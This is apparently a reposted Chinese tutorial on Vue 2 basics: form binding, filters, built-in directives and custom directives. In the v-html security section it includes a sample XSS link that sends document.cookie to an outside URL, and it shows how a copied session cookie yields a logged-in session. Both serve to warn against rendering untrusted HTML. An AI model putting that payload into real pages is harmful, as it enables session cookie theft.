Vue基础6

news2024/9/23 23:31:09

Vue基础6

  • 收集表单数据
  • 过滤器
    • 局部过滤器
    • 全局过滤器
  • 内置指令
    • v-text
    • v-html
      • 使用
      • 安全性
        • cookie工作原理
        • v-html不安全案例
    • v-cloak指令
    • v-once指令
    • v-pre指令
  • 自定义指令
    • 函数式
    • 对象式
    • 自定义命名组合式
    • 全局自定义指令
    • 自定义指令总结:

收集表单数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <form @submit.prevent="subForm">    <!--阻止表单跳转-->
            <label for="zhId">账号:</label>
            <input type="text" id="zhId" v-model.trim="userinfo.account">   <br> <br>   <!--去除前后空格-->

            <label for="pass">密码:</label>
            <input type="password" id="pass" v-model="userinfo.password"> <br> <br>

            <label for="pass">年龄:</label>
            <input type="number" id="age" v-model.number="userinfo.age"> <br> <br>   <!--表单的number和v-model.number一般配合使用-->

            <label for="Gsex">性别:</label><input type="radio" name="sex" id="Gsex" value="" v-model="userinfo.sex"><input type="radio" name="sex"  value="" v-model="userinfo.sex"> <br><br>

            <label for="hobb">爱好:</label>
            读书<input type="checkbox" name="hobby" id="hobb" value="读书"  v-model="userinfo.hobby">
            看报 <input type="checkbox" name="hobby"  value="看报" v-model="userinfo.hobby">
            唱歌 <input type="checkbox" name="hobby"  value="唱歌" v-model="userinfo.hobby"> <br><br>

            <label for="belong">所属校区:</label>
            <select name="school" id="belong" v-model="userinfo.belong">
                <option value="">请选择校区</option>
                <option value="重庆">重庆</option>
                <option value="西安">西安</option>
            </select> <br><br>

            <label for="otherMess">其他信息:</label>
            <textarea name="other" id="otherMess"  v-model.lazy="userinfo.otherMess"></textarea> <br><br>   <!--懒加载:失去焦点时候Vue才会有值-->

            <input type="checkbox" name="agree" id="agreement" v-model="userinfo.agreement">
            <label for="agreement">阅读并接受 <a href="">《用户协议》</a> <br><br></label>
            <input type="submit" value="提交">
        </form>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            userinfo:{
                account:"",
                password:"",
                sex:"男",
                hobby:[],
                belong:"",
                otherMess:"",
                agreement:"",
                age:""
            }
        },
        methods:{
            subForm(){
                console.log(JSON.stringify(this.userinfo))
            }
        }
    })
</script>
</html>

请添加图片描述
收集表单数据:

  • 若:<input type=“text” />,则v-model收集的是value值,用户输入的就是value值
  • 若:<input type=“radio” />,则v-model收集的是value值,且要给标签配置value值
  • 若:<input type=“checkbox” />
    1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
    2.配置input的value属性:
    (1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
    (2)v-model的初始值是数组,那么收集的就是value组成的数组
  • 备注:v-model的三个修饰符:
    lazy:失去焦点再收集数据
    number:输入字符串转为有效的数字
    trim:输入首尾空格过滤

过滤器

免费的提供第三方库的网站: bootCDN
使用轻量级格式化日期库:dayjs

局部过滤器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
    <div id="app">
        <h1>显示格式化后的时间</h1>
        <!--用计算属性实现-->
        <h2>现在是:{{fmtTime}}</h2>
        <!--用methods实现-->
        <h2>现在是:{{timeFormatter()}}</h2>
        <!--用过滤器实现-->
        <h2>现在是:{{time | tfmFormatter}}</h2>
        <!--用过滤器实现(传参)-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss')}}</h2>
        <!--多个过滤器串联-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss') | mySlice}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            time:1671009724259  //时间戳
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        methods:{
            timeFormatter(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        filters:{
            tfmFormatter(value,str="YYYY年MM月DD日 HH:mm:ss"){
                return dayjs(value).format(str)
            },
            mySlice(value){
                return value.slice(0,4)
            }
        }
    })
</script>
</html>

在这里插入图片描述
过滤器调用步骤:

在这里插入图片描述
script调用步骤:
在这里插入图片描述

全局过滤器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
    <div id="app">
        <h1>显示格式化后的时间</h1>
        <!--用计算属性实现-->
        <h2>现在是:{{fmtTime}}</h2>
        <!--用methods实现-->
        <h2>现在是:{{timeFormatter()}}</h2>
        <!--用过滤器实现-->
        <h2>现在是:{{time | tfmFormatter}}</h2>
        <!--用过滤器实现(传参)-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss')}}</h2>
        <!--多个过滤器串联-->
        <h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss') | mySlice}}</h2>
    </div>
    <div id="root">
        <h2>{{msg}}</h2>
        <h2>{{msg | mySlice}}</h2>
        <h2 :x="msg| mySlice">真好</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    // 全局过滤器
    Vue.filter('mySlice',function(value){
         return value.slice(0,4)
    })
    new Vue({
        el:"#app",
        data:{
            time:1671009724259  //时间戳
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        methods:{
            timeFormatter(){
                return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
            }
        },
        //局部过滤器
        filters:{
            tfmFormatter(value,str="YYYY年MM月DD日 HH:mm:ss") {
                return dayjs(value).format(str)
            }
        }
    })
    new Vue({
        el:"#root",
        data:{
            msg:"hello,你好啊,今天天气真不错"
        }
    })
</script>
</html>

在这里插入图片描述
过滤器:
定义:对要显示的数据进行特定格式化后显示(适用于一些简单逻辑的处理)
语法:

  1. 注册过滤器:Vue.filter(name,callback)或 new Vue{filters:{}}
  2. 使用过滤器:{{ xxx | 过滤器名}}或 v-bind:属性=“xxx | 过滤器名”

备注:

  1. 过滤器也可以接收额外参数、多个过滤器也可以串联
  2. 并没有改变原本的数据,是产生新的对应的数据

内置指令

v-text

我们学过的指令:
v-bind:单向绑定解析表达式,可简写为 :xxx
v-model:双向数据绑定
v-for:遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存在)
v-else:条件渲染(动态控制节点是否存在)
v-show:条件渲染(动态控制节点是否展示)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>v-text</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <div v-text="name"></div>
        <hr>
        区别:
        <div>你好,{{name}}</div>
        <div v-text="name">你好,</div>
        <!--v-text不会解析标签-->
        <div v-text="tagName"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            name:"张三",
            tagName:"<h3>你好啊,我的朋友</h3>"
        }
    })
</script>
</html>

在这里插入图片描述
v-text 指令:

  1. 作用:向其所在的节点中渲染文本内容
  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会

v-html

使用

可以解析 html 标签

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <div v-html="str"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            name:"张三",
            str:"<h3>早上好啊</h3>"
        }
    })
</script>
</html>

在这里插入图片描述

安全性

cookie工作原理

请添加图片描述
请添加图片描述
实际操作展示:

  1. 用谷歌浏览器查看cookie
    请添加图片描述

  2. 使用cookie-editor插件复制cookie
    在这里插入图片描述

  3. 再用火狐浏览器打开b站,显示的是未登录的状态
    在这里插入图片描述

  4. 使用火狐浏览器的插件cookie-editor将在谷歌浏览器中复制到的内容粘贴在这里
    请添加图片描述

  5. 刷新页面之后就可以得到一个已经登录状态的页面了
    请添加图片描述

v-html不安全案例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <div v-html="str"></div>
        <div v-html="surprise"></div>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            name:"张三",
            str:"<h3>早上好啊</h3>",
            surprise:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接有惊喜</a>'
        }
    })
</script>
</html>

请添加图片描述
通过这种方式就能获取到你的所有cookie值,然后登录你的信息做坏事

但是,如果字段被HttpOnly限定了,那么只有http协议能读取到,通过js代码就读取不到了
在这里插入图片描述
在这里插入图片描述
v-html指令:

  1. 作用:向指定节点中渲染包含html结构的内容
  2. 与插值语法的区别:
    (1)v-html会替换掉节点中所有的内容,{{xx}}则不会
    (2)v-html可以识别html结构
  3. 严重注意:v-html有安全性问题!!
    (1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
    (2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

v-cloak指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <div id="app">
        <div>你好,{{name}},年龄:{{age}},性别:{{sex}}</div>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            age:18,
            sex:"男"
        }
    })
</script>
</html>

在这里插入图片描述
如果步骤2执行慢了,则会出现以下的情况:
在这里插入图片描述
解决办法:
使用v-cloak

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        [v-cloak]{
            display: none;
        }
    </style>
</head>
<body>
<div id="app">
    <div v-cloak>你好,{{name}},年龄:{{age}},性别:{{sex}}</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            age:18,
            sex:"男"
        }
    })
</script>
</html>


步骤三没执行时候,v-cloak标签一直存在,页面内容不会显示,步骤三执行之后,v-cloak标签则会清除,页面内容正常展示
在这里插入图片描述
页面加载完毕效果:
在这里插入图片描述
v-cloak指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

v-once指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <h2 v-once>初始化的n是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip=false;
    new Vue({
        el:"#app",
        data:{
            n:1
        }
    })

</script>
</html>

请添加图片描述
v-once指令:

  1. v-once所在节点在初次动态渲染后,就视为静态内容了
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

v-pre指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <h2 v-pre>Vue的展示</h2>
        <h2 v-pre>欢迎大家来到Vue的小课堂</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <h2 style="color:red">错误示范:因为下面标签中内容需要被解析</h2>
        <h2 v-pre style="color:red">当前的n值是:{{n}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            n:1
        }
    })
</script>
</html>

在这里插入图片描述
v-pre指令:

  1. 跳过其所在节点的编译过程
  2. 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译

自定义指令

函数式

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <h2>姓名:{{name}}</h2>
        <button @click="name='李四'">修改姓名为李四</button>
        <h2>当前的n值是:<span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            n:1
        },
        directives:{
            //big函数何时会被调用?1.指令与元素成功绑定时(一上来)2.指令所在的模板被重新解析时
            big(element,binding){
                console.log("element:",element)
                console.log("binding:",binding)
                element.innerText=binding.value*10
            }
        }
    })
</script>
</html>

请添加图片描述

对象式

需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        <div>{{name}}</div>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <input type="text" v-fbind="n">
    </div>
</body>
<script>
    Vue.config.productionTip=false;

    new Vue({
        el:"#app",
        data:{
            name:"张三",
            n:1
        },
        directives:{
            fbind:{
                //指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value=binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在模板被重新解析时
                update(element,binding){
                    element.value=binding.value
                }
            }
        }
    })
</script>
</html>

请添加图片描述

自定义命名组合式

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>example</title>
  <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
  <div id="app">
    <div>当前的n值是:{{n}}</div>
    <button @click="n++">点我n+1</button>
    <div>放大10倍后的n值是:<span v-big-number="n"></span></div>
  </div>
</body>
<script>
  new Vue({
    el:"#app",
    data:{
      n:1,
    },
    directives:{
      //简写
      // "big-number"(element,binding){
      //   element.value=binding.value*10
      // }
      //全写
      "big-number":function(element,binding){
        element.innerHTML=binding.value*10
      }
    }
  })
</script>
</html>

请添加图片描述

全局自定义指令

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>全局自定义指令</title>
  <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
  <div id="app">
    <div>当前n的值是:{{n}}</div>
    <button @click="n++">点我n+1</button>
    <input type="text" v-fbind="n">
    <br><br>
    <div>放大10倍后的n值是:<span v-big="n"></span></div>
  </div>

  <div id="root">
    <br>
    第二个Vue容器的d值:{{d}} <br>
    <button @click="d++">点我d+1</button>
    <input type="text" v-fbind="d">
  </div>
</body>
<script>
  //对象式
  Vue.directive("fbind",{
    bind(element,binding){
      element.value=binding.value
    },
    inserted(element,binding){
      element.focus()
    },
    update(element,binding){
      element.value=binding.value
    }
  })

  //函数式
  Vue.directive("big",function(element,binding){
      element.innerHTML=binding.value*10
    })


  new Vue({
    el:"#app",
    data:{
      n:1
    },
  })
  new Vue({
    el:"#root",
    data:{
      d:1
    }
  })
</script>
</html>

请添加图片描述
请添加图片描述

自定义指令总结:

  1. 定义语法:
    (1)局部指令:
    new Vue({
    directives:{指令名:配置对象}
    })

    new Vue({
    directives(){指令名:回调函数}
    })
    (2)全局指令
    Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
  2. 配置对象中常用的3个 回调:
    (1)bind:指令与元素成功绑定时使用
    (2)inserted:指令所在元素被插入页面时调用
    (3)update:指令所在模板结构被重新解析时调用
  3. 备注:
    (1)指令定义时不加v-,但使用时要加v-
    (2)指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/98422.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VMware、linux虚拟机设置网络实现虚拟机与主机网络互通

需要配置三个方面才可以&#xff0c;即&#xff1a;WMware网络配置、windows主机网络配置、虚拟机网络配置。 首先&#xff0c;确认VMware虚拟机设置中配置的网络连接方式为&#xff1a;NAT模式 可以在VMware上方的菜单中找到&#xff1a;虚拟机---->设置&#xff0c;然后…

HC-SR04超声波测距模块介绍

超声波简介 超声波是由机械振动产生的, 可在不同介质中以不同的速度传播, 具有定向性好、能量集中、传输过程中衰减较小、反射能力较强等优点。超声波传感器可广泛应用于非接触式检测方法,它不受光线、被测物颜色等影响, 对恶劣的工作环境具有一定的适应能力, 因此在水文液位测…

毕业设计 - 基于JSP_Servlet校园二手交易平台设计于实现【源码+论文】

文章目录前言一、项目设计1. 模块设计2. 实现效果二、部分源码项目源码前言 今天学长向大家分享一个 java web 设计项目: 基于JSP/Servlet校园二手交易平台设计于实现 一、项目设计 1. 模块设计 系统完成的主要功能有&#xff1a;用户设置功能、发布信息功能、信息管理功能…

Android中AP和BP概念

AP和BP 大多数的手机都含有两个处理器。操作系统、用户界面和应用程序都在Application Processor(AP)上执行&#xff0c;AP一般采用ARM芯片的CPU。而手机射频通讯控制软件&#xff0c;则运行在另一个分开的CPU上&#xff0c;这个CPU称为Baseband Processor(BP)。 把射频功能放…

《API安全技术与实战》 读书笔记 API的前生今世和API安全的演进

文章目录一、API的前生今世&#xff08;1&#xff09;4中API表现形式&#xff08;2&#xff09;基于技术形式的类型划分的API二、API安全的演进&#xff08;1&#xff09;什么是API安全&#xff08;2&#xff09;常见的API安全漏洞类型一、API的前生今世 &#xff08;1&#x…

Nacos系列——Nacos概述(2.x版本)1-1

Nacos系列——Nacos概述&#xff08;2.x版本&#xff09;1-1前言Nacos概述&#xff08;2.x版本&#xff09;文档地址关键特性服务发现和服务健康监测动态配置服务动态 DNS 服务服务及其元数据管理Nacos地图核心概念地域可用区接入点命名空间配置配置管理配置项配置集配置集 ID配…

[阶段4 企业开发进阶] 7. 微服务

文章目录1 微服务1.1 微服务概念1.2 SpringCloud1.3 工程搭建1.4 支付模块构建cloud-provider-payment-80011 微服务 1.1 微服务概念 概念 Microservice architectures are the ‘new normal’. Building small, self-contained, ready to run applications can bring great f…

毕业设计 Stm32家庭气象仪 天气监控系统 - 物联网 单片机 嵌入式

文章目录0 前言1 简介2 主要器件3 实现效果4 设计原理4.1 DHT11温湿度传感器4.2 MQ135空气质量传感器4.35 部分核心代码6 最后0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&#xff0c;往往达不到毕业答辩…

安全分析模型自动化调优

安全分析模型自动化调优 MLOps&#xff08;Machine Learning Operations&#xff09;是一种人工智能 的工程实践&#xff0c;是面向机器学习项目的研发运营管理体系 。旨在实现 ML 管道的操作、ML 模型的部署和管理标准化&#xff0c;支持ML 模型的发布、激活、监控、性能跟踪…

Stm32旧版库函数18——读传感器

/******************************************************************************* // // 使用单片机STM32F100C8T6 // 晶振&#xff1a;8.00M // 编译环境 Keil uVision4 // 在3.3V的供电环境下&#xff0c;就能运行 // 波特率 19200 ************************************…

SpringBoot请求参数传递与接收

一、GET请求和POST请求的区别是什么 GET和POST请求的区别主要有下面几点 GET没有请求体&#xff0c;POST有请求体GET传输比POST快GET只能携带少量数据&#xff08;因为其请求url有长度限制&#xff09;&#xff0c;POST可以携带的数据量较大POST因为将数据放在请求体中&#…

使用IDEA工具通过Java API 访问HDFS

文章目录一&#xff0c;了解 HDFS Java API&#xff08;一&#xff09;HDFS常见类与接口&#xff08;二&#xff09;FileSystem的常用方法二&#xff0c;编写Java程序访问HDFS01 创建Maven项目02 添加相关依赖03 创建日志属性文件&#xff08;1&#xff09;在resources目录里创…

变电站火灾检测项目(tf2)

目录 1. 项目背景 2. 项目研究数据集介绍&#xff08;变电站火灾检测图像数据集&#xff09; 3. 目标检测模型介绍&#xff08;SE改进的YOLOv4-tiny模型&#xff09; 4. 模型训练及测试 1. 项目背景 我们的日常生活与电力息息相关&#xff0c;变电站作为输配电系统的关键环…

【设计模式】责任链模式

【设计模式】责任链模式 文章目录【设计模式】责任链模式一&#xff1a;责任链模式概述二&#xff1a;责任链模式结构三&#xff1a;责任链模式案例实现四&#xff1a;优缺点五&#xff1a;责任链模式实战一&#xff1a;责任链模式概述 在现实生活中&#xff0c;常常会出现这样…

Jmeter(二十一):jmeter导入和导出接口的处理

JMeter测试导入接口 利用Jmeter测试上传文件&#xff0c;首先可根据接口文档或者fiddler抓包分析文件上传的接口&#xff1b;如下图&#xff1a; 以下是我通过fiddler所截取的文件上传的接口 1、填写导入接口的信息 查看文件上传栏下的填写信息&#xff1a; 文件名称&#xf…

【图像分割】多种阈值图像分割(带面板)【含GUI Matlab源码 733期】

⛄一、图像分割简介 理论知识参考&#xff1a;【基础教程】基于matlab图像处理图像分割【含Matlab源码 191期】 ⛄二、部分源代码 function varargout yuzhifenge(varargin) % YUZHIFENGE MATLAB code for yuzhifenge.fig % YUZHIFENGE, by itself, creates a new YUZHIFEN…

【Redis】缓存问题

用户数据一般都是存储在数据库中&#xff0c;数据库则落在磁盘上。而磁盘的I/O速度是计算机中最慢的硬件。 当用户的访问量在某一个时间段突然上升&#xff0c;数据库就很容易崩溃。为了避免用户直接访问数据库&#xff0c;所以会使用缓存数据库(Redis)作为缓冲层。 Redis 是内…

DIY NAS服务器之OMV 5.6入坑指南(二)- 安装omv-extras插件

DIY NAS服务器之OMV 5.6入坑指南&#xff08;一&#xff09;-openmediavalut 5.6安装 前面我们已经安装好了OMV5.6了。 接下来就是建设我们的OMV系统了。 首先第一步&#xff0c;我们开启社区插件omv-extras&#xff1a; 通过如下url把插件安装文件 下载到电脑本地&#xff0c…

Mysql分布式锁(二)直接用一条sql语句来实现原子性

文章目录一、直接用更新的sql实现1. 场景描述2. 修改sqlStockMapperStockService3. 重新测试二、问题1. 锁范围问题&#xff1a;行级锁 表级锁2. 若逻辑太复杂&#xff0c;一个sql无法实现4. 无法监控库存变化前后的状态一、直接用更新的sql实现 1. 场景描述 之前的deduct()方…

DevOps实战系列【第十三章】:流水线应用工具Blue Ocean使用

个人亲自录制全套DevOps系列实战教程 &#xff1a;手把手教你玩转DevOps全栈技术 BlueOcean图形化工具 可以通过插件的方式安装到jenkins&#xff0c;搜索“Blue Ocean”&#xff0c;安装后重启即可。 由于兼容问题&#xff0c;BlueOcean依赖的插件有些是失败的&#xff0c;我…